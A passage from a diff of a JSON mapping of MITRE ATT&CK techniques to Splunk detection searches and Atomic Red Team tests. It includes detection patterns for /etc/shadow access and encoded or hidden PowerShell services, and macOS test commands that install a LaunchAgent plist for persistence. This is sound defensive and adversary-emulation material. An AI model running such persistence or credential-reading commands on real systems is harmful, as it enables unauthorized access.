min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=conhost.exe Processes.process=\"*--headless *\" by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_conhost_with_headless_argument_filter`", - "tags": { - "analytic_story": [ - "Spearphishing Attachments" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "Windows ConHost with Headless Argument detected on $dest$ by $user$.", - "risk_score": 70, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1564.003", - "mitre_attack_technique": "Hidden Window", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT3", - "APT32", - "CopyKittens", - "DarkHydrus", - "Deep Panda", - "Gamaredon Group", - "Gorgon Group", - "Higaisa", - "Kimsuky", - "Magic Hound", - "Nomadic Octopus", - "ToddyCat" - ] - }, - { - "mitre_attack_id": "T1564.006", - "mitre_attack_technique": "Run Virtual Instance", - "mitre_attack_tactics": [ - "Defense Evasion" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -625477,45 +421697,7 @@ "data_component": "file modification", "type": "activity", "description": "A file was modified.", - "source_data_element": "process", - "relationship": "modified", - "target_data_element": "file", - "references": [ - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", - "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", - "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" - ] - }, - { - "technique_id": "T1546.002", - "x_mitre_is_subtechnique": true, - "technique": "Screensaver", - "tactic": [ - "privilege-escalation", - "persistence" - ], - "platform": [ - "Windows" - ], - "data_source": "file", - "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", - "collection_layers": [ - "host" - ], - "data_source_platform": [ - "Windows", - "Linux", - "macOS", - "Network" - ], - "contributors": [ - "ATT&CK", - "CTID" - ], - "data_component": "file modification", - "type": "activity", - "description": "A file was modified.", - "source_data_element": "user", + "source_data_element": "process", "relationship": "modified", "target_data_element": "file", "references": [ @@ -625525,69 +421707,42 @@ ] }, { - "name": "Screensaver Event Trigger Execution", - "description": "The following analytic detects modifications to the SCRNSAVE.EXE registry entry, indicating potential event trigger execution via screensaver settings for persistence or privilege escalation. It leverages registry activity data from the Endpoint data model to identify changes to the specified registry path. This activity is significant as it is a known technique used by APT groups and malware to maintain persistence or escalate privileges. If confirmed malicious, this could allow an attacker to execute arbitrary code with elevated privileges, leading to further system compromise and persistent access.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime FROM datamodel=Endpoint.Registry where (Registry.registry_path=\"*\\\\Control Panel\\\\Desktop\\\\SCRNSAVE.EXE*\") by Registry.dest Registry.user Registry.registry_path Registry.registry_key_name Registry.registry_value_name | `security_content_ctime(lastTime)` | `security_content_ctime(firstTime)` | `drop_dm_object_name(Registry)` | `screensaver_event_trigger_execution_filter`", - "tags": { - "analytic_story": [ - "Data Destruction", - "Hermetic Wiper", - "Windows Persistence Techniques", - "Windows Privilege Escalation", - "Windows Registry Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Registry path $registry_path$ was modified, added, or deleted in $dest$.", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1546", - "mitre_attack_technique": "Event Triggered Execution", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1546.002", - "mitre_attack_technique": "Screensaver", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } + "technique_id": "T1546.002", + "x_mitre_is_subtechnique": true, + "technique": "Screensaver", + "tactic": [ + "privilege-escalation", + "persistence" + ], + "platform": [ + "Windows" + ], + "data_source": "file", + "definition": "Information about file objects (All file systems) that represent computer resources that can be managed by the I/O system. This data source can be used as a reference to extend the concepts of other data sources such as driver, module, and network share.", + "collection_layers": [ + "host" + ], + "data_source_platform": [ + "Windows", + "Linux", + "macOS", + "Network" + ], + "contributors": [ + "ATT&CK", + "CTID" + ], + "data_component": "file modification", + "type": "activity", + "description": "A file was modified.", + "source_data_element": "user", + "relationship": "modified", + "target_data_element": "file", + "references": [ + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-management", + "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", + "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" + ] } ], "external_reference": [ @@ -627390,68 +423545,6 @@ "https://docs.microsoft.com/en-us/windows/win32/fileio/file-streams", "https://docs.microsoft.com/en-us/troubleshoot/windows-client/backup-and-storage/fat-hpfs-and-ntfs-file-systems" ] - }, - { - "name": "Linux Possible Access To Credential Files", - "description": "The following analytic detects attempts to access or dump the contents of /etc/passwd and /etc/shadow files on Linux systems. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on processes like 'cat', 'nano', 'vim', and 'vi' accessing these files. This activity is significant as it may indicate credential dumping, a technique used by adversaries to gain persistence or escalate privileges. If confirmed malicious, attackers could obtain hashed passwords for offline cracking, leading to unauthorized access and potential system compromise.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name IN(\"cat\", \"nano*\",\"vim*\", \"vi*\") AND Processes.process IN(\"*/etc/shadow*\", \"*/etc/passwd*\") by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `linux_possible_access_to_credential_files_filter`", - "tags": { - "analytic_story": [ - "Linux Persistence Techniques", - "Linux Privilege Escalation" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "A commandline $process$ executed on $dest$", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1003.008", - "mitre_attack_technique": "/etc/passwd and /etc/shadow", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1003", - "mitre_attack_technique": "OS Credential Dumping", - "mitre_attack_tactics": [ - "Credential Access" - ], - "mitre_attack_groups": [ - "APT28", - "APT32", - "APT39", - "Axiom", - "Leviathan", - "Poseidon Group", - "Sowbug", - "Suckfly", - "Tonto Team" - ] - } - ] - } } ], "external_reference": [ @@ -627606,7 +423699,8 @@ ], "command_list": [ "if [ ! -d ~/Library/LaunchAgents ]; then mkdir ~/Library/LaunchAgents; fi;\nsudo cp /T1543.001/src/atomicredteam_T1543_001.plist ~/Library/LaunchAgents/com.atomicredteam.plist\nsudo launchctl load -w ~/Library/LaunchAgents/com.atomicredteam.plist\n", - "sudo cp /T1543.001/src/atomicredteam_T1543_001.plist /etc/emond.d/rules/atomicredteam_T1543_001.plist\nsudo touch /private/var/db/emondClients/randomflag\n" + "sudo cp /T1543.001/src/atomicredteam_T1543_001.plist /etc/emond.d/rules/atomicredteam_T1543_001.plist\nsudo touch /private/var/db/emondClients/randomflag\n", + "sudo cp /T1543.001/src/atomicredteam_T1543_001.plist /Library/LaunchAgents/com.atomicredteam.T1543.001.plist\nlaunchctl load -w /Library/LaunchAgents/com.atomicredteam.T1543.001.plist\n" ], "commands": [], "queries": [], @@ -627682,6 +423776,45 @@ "command": "sudo cp #{script_location} #{script_destination}\nsudo touch /private/var/db/emondClients/#{empty_file}\n", "cleanup_command": "sudo rm #{script_destination}\nsudo rm /private/var/db/emondClients/#{empty_file}" } + }, + { + "name": "Launch Agent - Root Directory", + "auto_generated_guid": "66774fa8-c562-4bae-a58d-5264a0dd9dd7", + "description": "Create a plist and execute it\n", + "supported_platforms": [ + "macos" + ], + "input_arguments": { + "plist_filename": { + "description": "filename", + "type": "string", + "default": "com.atomicredteam.T1543.001.plist" + }, + "path_malicious_plist": { + "description": "Name of file to store in cron folder", + "type": "string", + "default": "$PathToAtomicsFolder/T1543.001/src/atomicredteam_T1543_001.plist" + } + }, + "dependency_executor_name": "bash", + "dependencies": [ + { + "description": "/Library/LaunchAgents must exist\n", + "prereq_command": "if [ ! -d /Library/LaunchAgents ]; then mkdir /Library/LaunchAgents; exit 0; fi;\n", + "get_prereq_command": "echo \"Failed to create /Library/LaunchAgents\"; exit 1;\n" + }, + { + "description": "The shared library must exist on disk at specified location (#{path_malicious_plist})\n", + "prereq_command": "if [ -f #{path_malicious_plist} ]; then exit 0; else exit 1; fi;\n", + "get_prereq_command": "echo \"The plist file doesn't exist. Check the path and try again.\"; exit 1;\n" + } + ], + "executor": { + "name": "bash", + "elevation_required": true, + "command": "sudo cp #{path_malicious_plist} /Library/LaunchAgents/#{plist_filename}\nlaunchctl load -w /Library/LaunchAgents/#{plist_filename}\n", + "cleanup_command": "launchctl unload /Library/LaunchAgents/#{plist_filename}\nsudo rm /Library/LaunchAgents/#{plist_filename}\nsudo rm /tmp/T1543_001_atomicredteam.txt\n" + } } ] } @@ -627989,121 +424122,6 @@ "https://docs.microsoft.com/en-us/dotnet/framework/windows-services/introduction-to-windows-service-applications", "https://www.linux.com/news/introduction-services-runlevels-and-rcd-scripts/" ] - }, - { - "name": "Suspicious PlistBuddy Usage", - "description": "The following analytic identifies the use of the native macOS utility, PlistBuddy, to create or modify property list (.plist) files. This detection leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and command-line executions involving PlistBuddy. This activity is significant because PlistBuddy can be used to establish persistence by modifying LaunchAgents, as seen in the Silver Sparrow malware. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary commands, and potentially escalate privileges on the compromised macOS system.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name=PlistBuddy (Processes.process=*LaunchAgents* OR Processes.process=*RunAtLoad* OR Processes.process=*true*) by Processes.dest Processes.user Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)`| `security_content_ctime(lastTime)` | `suspicious_plistbuddy_usage_filter`", - "tags": { - "analytic_story": [ - "Silver Sparrow" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.001", - "mitre_attack_technique": "Launch Agent", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } - }, - { - "name": "Suspicious PlistBuddy Usage via OSquery", - "description": "The following analytic detects the use of the PlistBuddy utility on macOS to create or modify property list (.plist) files. It leverages OSQuery to monitor process events, specifically looking for commands that interact with LaunchAgents and set properties like RunAtLoad. This activity is significant because PlistBuddy can be used to establish persistence mechanisms, as seen in malware like Silver Sparrow. If confirmed malicious, this could allow an attacker to maintain persistence, execute arbitrary commands, and potentially escalate privileges on the compromised system.", - "search": "`osquery_process` \"columns.cmdline\"=\"*LaunchAgents*\" OR \"columns.cmdline\"=\"*RunAtLoad*\" OR \"columns.cmdline\"=\"*true*\" | `suspicious_plistbuddy_usage_via_osquery_filter`", - "tags": { - "analytic_story": [ - "Silver Sparrow" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Exploitation", - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Other", - "role": [ - "Other" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1543.001", - "mitre_attack_technique": "Launch Agent", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - }, - { - "mitre_attack_id": "T1543", - "mitre_attack_technique": "Create or Modify System Process", - "mitre_attack_tactics": [ - "Persistence", - "Privilege Escalation" - ], - "mitre_attack_groups": [] - } - ] - } } ], "external_reference": [ @@ -628630,445 +424648,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/sysinfo/registry" ] - }, - { - "name": "Detect Renamed PSExec", - "description": "The following analytic identifies instances where `PsExec.exe` has been renamed and executed on an endpoint. It leverages data from Endpoint Detection and Response (EDR) agents, focusing on process names and original file names. This activity is significant because renaming `PsExec.exe` is a common tactic to evade detection. If confirmed malicious, this could allow an attacker to execute commands remotely, potentially leading to unauthorized access, lateral movement, or further compromise of the network.", - "search": "| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where (Processes.process_name!=psexec.exe OR Processes.process_name!=psexec64.exe) AND Processes.original_file_name=psexec.c by Processes.dest Processes.user Processes.parent_process_name Processes.process_name Processes.process Processes.process_id Processes.parent_process_id Processes.original_file_name | `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `detect_renamed_psexec_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "BlackByte Ransomware", - "CISA AA22-320A", - "DHS Report TA18-074A", - "DarkGate Malware", - "DarkSide Ransomware", - "HAFNIUM Group", - "Rhysida Ransomware", - "SamSam Ransomware", - "Sandworm Tools" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - }, - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "parent_process_name", - "type": "Process", - "role": [ - "Parent Process" - ] - }, - { - "name": "process_name", - "type": "Process", - "role": [ - "Child Process" - ] - } - ], - "message": "The following $process_name$ has been identified as renamed, spawning from $parent_process_name$ on $dest$ by $user$.", - "risk_score": 27, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Excessive Usage Of SC Service Utility", - "description": "The following analytic detects excessive usage of the `sc.exe` service utility on a host machine. It leverages Sysmon EventCode 1 logs to identify instances where `sc.exe` is executed more frequently than normal within a 15-minute window. This behavior is significant as it is commonly associated with ransomware, cryptocurrency miners, and other malware attempting to create, modify, delete, or disable services, potentially related to security applications or for privilege escalation. If confirmed malicious, this activity could allow attackers to manipulate critical services, leading to system compromise or disruption of security defenses.", - "search": "`sysmon` EventCode = 1 process_name = \"sc.exe\" | bucket _time span=15m | stats values(process) as process count as numScExe by dest, _time | eventstats avg(numScExe) as avgScExe, stdev(numScExe) as stdScExe, count as numSlots by dest | eval upperThreshold=(avgScExe + stdScExe *3) | eval isOutlier=if(avgScExe > 5 and avgScExe >= upperThreshold, 1, 0) | search isOutlier=1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `excessive_usage_of_sc_service_utility_filter`", - "tags": { - "analytic_story": [ - "Azorult", - "Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "Excessive Usage Of SC Service Utility", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "First Time Seen Running Windows Service", - "description": "The following analytic detects the first occurrence of a Windows service running in your environment. It leverages Windows system event logs, specifically EventCode 7036, to identify services entering the \"running\" state. This activity is significant because the appearance of a new or previously unseen service could indicate the installation of unauthorized or malicious software. If confirmed malicious, this activity could allow an attacker to execute arbitrary code, maintain persistence, or escalate privileges within the environment. Monitoring for new services helps in early detection of potential threats.", - "search": "`wineventlog_system` EventCode=7036 | rex field=Message \"The (?[-\\(\\)\\s\\w]+) service entered the (?\\w+) state\" | where state=\"running\" | lookup previously_seen_running_windows_services service as service OUTPUT firstTimeSeen | where isnull(firstTimeSeen) OR firstTimeSeen > relative_time(now(), `previously_seen_windows_services_window`) | table _time dest service | `first_time_seen_running_windows_service_filter`", - "tags": { - "analytic_story": [ - "NOBELIUM Group", - "Orangeworm Attack Group", - "Windows Service Abuse" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Malicious Powershell Executed As A Service", - "description": "The following analytic identifies the execution of malicious PowerShell commands or payloads via the Windows SC.exe utility. It detects this activity by analyzing Windows System logs (EventCode 7045) and filtering for specific PowerShell-related patterns in the ImagePath field. This behavior is significant because it indicates potential abuse of the Windows Service Control Manager to run unauthorized or harmful scripts, which could lead to system compromise. If confirmed malicious, this activity could allow attackers to execute arbitrary code, escalate privileges, or maintain persistence within the environment.", - "search": " `wineventlog_system` EventCode=7045 | eval l_ImagePath=lower(ImagePath) | regex l_ImagePath=\"powershell[.\\s]|powershell_ise[.\\s]|pwsh[.\\s]|psexec[.\\s]\" | regex l_ImagePath=\"-nop[rofile\\s]+|-w[indowstyle]*\\s+hid[den]*|-noe[xit\\s]+|-enc[odedcommand\\s]+\" | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ImagePath ServiceName StartType ServiceType AccountName UserID dest | rename UserID as user| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `malicious_powershell_executed_as_a_service_filter`", - "tags": { - "analytic_story": [ - "Malicious PowerShell", - "Rhysida Ransomware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - }, - { - "name": "user", - "type": "User", - "role": [ - "Victim" - ] - } - ], - "message": "Identifies the abuse the Windows SC.exe to execute malicious powerShell as a service $ImagePath$ by $user$ on $dest$", - "risk_score": 72, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Create SliverC2", - "description": "The following analytic detects the creation of a Windows service named \"Sliver\" with the description \"Sliver Implant,\" indicative of SliverC2 lateral movement using the PsExec module. It leverages Windows EventCode 7045 from the System Event log to identify this activity. This behavior is significant as it may indicate an adversary's attempt to establish persistence or execute commands remotely. If confirmed malicious, this activity could allow attackers to maintain control over the compromised system, execute arbitrary code, and further infiltrate the network.", - "search": "`wineventlog_system` EventCode=7045 ServiceName=\"sliver\" | stats count min(_time) as firstTime max(_time) as lastTime by Computer EventCode ImagePath ServiceName ServiceType | rename Computer as dest | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_create_sliverc2_filter`", - "tags": { - "analytic_story": [ - "BishopFox Sliver Adversary Emulation Framework" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Endpoint", - "role": [ - "Victim" - ] - } - ], - "message": "A user mode service was created on $dest$ related to SliverC2.", - "risk_score": 90, - "security_domain": "endpoint", - "risk_severity": "high", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } - }, - { - "name": "Windows Service Created with Suspicious Service Path", - "description": "The following analytic detects the creation of a Windows Service with a binary path located in uncommon directories, using Windows Event ID 7045. It leverages logs from the `wineventlog_system` to identify services installed outside typical system directories. This activity is significant as adversaries, including those deploying Clop ransomware, often create malicious services for lateral movement, remote code execution, persistence, and execution. If confirmed malicious, this could allow attackers to maintain persistence, execute arbitrary code, and potentially escalate privileges, posing a severe threat to the environment.", - "search": " `wineventlog_system` EventCode=7045 ImagePath = \"*.exe\" NOT (ImagePath IN (\"*:\\\\Windows\\\\*\", \"*:\\\\Program File*\", \"*:\\\\Programdata\\\\*\", \"*%systemroot%\\\\*\")) | stats count min(_time) as firstTime max(_time) as lastTime by EventCode ImagePath ServiceName ServiceType StartType Computer UserID | rename Computer as dest| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | `windows_service_created_with_suspicious_service_path_filter`", - "tags": { - "analytic_story": [ - "Active Directory Lateral Movement", - "Brute Ratel C4", - "CISA AA23-347A", - "Clop Ransomware", - "Flax Typhoon", - "PlugX", - "Qakbot", - "Snake Malware" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.CM" - ], - "observable": [ - { - "name": "dest", - "type": "Hostname", - "role": [ - "Victim" - ] - }, - { - "name": "ImagePath", - "type": "File", - "role": [ - "Attacker" - ] - } - ], - "message": "A service $ImagePath$ was created from a non-standard path using $ServiceName$ on $dest$", - "risk_score": 56, - "security_domain": "endpoint", - "risk_severity": "medium", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1569", - "mitre_attack_technique": "System Services", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "TeamTNT" - ] - }, - { - "mitre_attack_id": "T1569.002", - "mitre_attack_technique": "Service Execution", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT32", - "APT38", - "APT39", - "APT41", - "Blue Mockingbird", - "Chimera", - "FIN6", - "Ke3chang", - "Silence", - "Wizard Spider" - ] - } - ] - } } ], "external_reference": [ @@ -629553,1291 +425132,6 @@ "references": [ "https://docs.microsoft.com/en-us/windows/win32/procthread/processes-and-threads" ] - }, - { - "name": "First time seen command line argument", - "description": "This search looks for command-line arguments that use a `/c` parameter to execute a command that has not previously been seen.", - "search": "| tstats `security_content_summariesonly` min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = cmd.exe Processes.process = \"* /c *\" by Processes.process Processes.process_name Processes.parent_process_name Processes.dest| `drop_dm_object_name(Processes)`| `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | search [| tstats `security_content_summariesonly` earliest(_time) as firstTime latest(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process_name = cmd.exe Processes.process = \"* /c *\" by Processes.process | `drop_dm_object_name(Processes)` | inputlookup append=t previously_seen_cmd_line_arguments | stats min(firstTime) as firstTime, max(lastTime) as lastTime by process | outputlookup previously_seen_cmd_line_arguments | eval newCmdLineArgument=if(firstTime >= relative_time(now(), \"-70m@m\"), 1, 0) | where newCmdLineArgument=1 | `security_content_ctime(firstTime)` | `security_content_ctime(lastTime)` | table process] | `first_time_seen_command_line_argument_filter`", - "tags": { - "analytic_story": [ - "DHS Report TA18-074A", - "Hidden Cobra Malware", - "Orangeworm Attack Group", - "Possible Backdoor Activity Associated With MUDCARP Espionage Campaigns", - "Suspicious Command-Line Executions" - ], - "asset_type": "Endpoint", - "cis20": [ - "CIS 10" - ], - "kill_chain_phases": [ - "Installation" - ], - "nist": [ - "DE.AE" - ], - "observable": [ - { - "name": "field", - "type": "Unknown", - "role": [ - "Unknown" - ] - } - ], - "message": "tbd", - "risk_score": 25, - "security_domain": "endpoint", - "risk_severity": "low", - "mitre_attack_enrichments": [ - { - "mitre_attack_id": "T1059.001", - "mitre_attack_technique": "PowerShell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT19", - "APT28", - "APT29", - "APT3", - "APT32", - "APT33", - "APT38", - "APT39", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Confucius", - "CopyKittens", - "DarkHydrus", - "DarkVishnya", - "Deep Panda", - "Dragonfly", - "Earth Lusca", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "GOLD SOUTHFIELD", - "Gallmaker", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "HEXANE", - "Inception", - "Indrik Spider", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Leviathan", - "Magic Hound", - "Molerats", - "MoustachedBouncer", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Poseidon Group", - "Sandworm Team", - "Sidewinder", - "Silence", - "Stealth Falcon", - "TA2541", - "TA459", - "TA505", - "TeamTNT", - "Threat Group-3390", - "Thrip", - "ToddyCat", - "Tonto Team", - "Turla", - "Volt Typhoon", - "WIRTE", - "Wizard Spider", - "menuPass" - ] - }, - { - "mitre_attack_id": "T1059.003", - "mitre_attack_technique": "Windows Command Shell", - "mitre_attack_tactics": [ - "Execution" - ], - "mitre_attack_groups": [ - "APT1", - "APT18", - "APT28", - "APT3", - "APT32", - "APT37", - "APT38", - "APT41", - "APT5", - "Aquatic Panda", - "BRONZE BUTLER", - "Blue Mockingbird", - "Chimera", - "Cinnamon Tempest", - "Cobalt Group", - "Dark Caracal", - "Darkhotel", - "Dragonfly", - "Ember Bear", - "FIN10", - "FIN13", - "FIN6", - "FIN7", - "FIN8", - "Fox Kitten", - "GALLIUM", - "Gamaredon Group", - "Gorgon Group", - "HAFNIUM", - "Higaisa", - "Indrik Spider", - "Ke3chang", - "Kimsuky", - "Lazarus Group", - "LazyScripter", - "Machete", - "Magic Hound", - "Metador", - "MuddyWater", - "Mustang Panda", - "Nomadic Octopus", - "OilRig", - "Patchwork", - "Rancor", - "Silence", - "Sowbug", - "Suckfly", - "TA505", - "TA551", - "TeamTNT", - "Threat Group-1314", - "Threat Group-3390", - "ToddyCat", - "Tropic Trooper", - "Turla", - "Volt Typhoon", - "Wizard Spider", - "ZIRCONIUM", - "admin@338", - "menuPass" - ] - } - ] - } - }, - { - "name": "Windows connhost exe started 